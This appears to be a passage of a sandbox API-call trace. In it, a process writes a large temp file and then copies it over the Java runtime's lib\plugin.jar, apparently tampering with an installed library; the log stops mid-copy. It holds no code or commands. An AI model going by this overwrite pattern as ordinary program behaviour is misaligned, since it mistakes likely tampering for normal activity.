	[0271.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\06ba6b8127abc2917092cfc3943c58a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\06ba6b8127abc2917092cfc3943c58a2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0271.751] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0271.751] GetFileType (hFile=0x19c) returned 0x1
	[0271.751] WriteFile (in: hFile=0x19c, lpBuffer=0xc000540000*, nNumberOfBytesToWrite=0x1d598b, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000540000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x1d598b, lpOverlapped=0x0) returned 1
	[0271.805] CloseHandle (hObject=0x19c) returned 1
	[0271.858] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0271.866] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0271.866] GetFileType (hFile=0x19c) returned 0x1
	[0271.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\06ba6b8127abc2917092cfc3943c58a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\06ba6b8127abc2917092cfc3943c58a2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0271.866] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0271.867] GetFileType (hFile=0x1ac) returned 0x1
	[0271.867] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.867] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.868] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.868] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.868] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.868] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.869] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.869] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.869] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.870] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.870] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.870] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.871] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.871] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.871] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.871] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.872] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.872] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.874] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.874] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.874] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.874] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.875] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.875] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.875] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.875] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.876] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.876] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.876] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.876] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.877] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.877] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.878] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.878] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.879] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.879] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.879] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.879] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.880] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.880] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.881] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.881] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.881] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.881] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.882] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.882] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.883] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.883] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.883] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.883] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.884] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.884] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.885] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.885] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.886] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.886] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.887] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.887] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.887] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.887] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.888] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.888] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.888] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.889] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.889] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.889] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.890] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.891] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.891] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.892] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.892] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.892] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.893] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.893] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.893] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.893] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.894] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.894] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.894] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.894] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.895] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.895] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.896] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.896] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.896] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.896] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.897] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
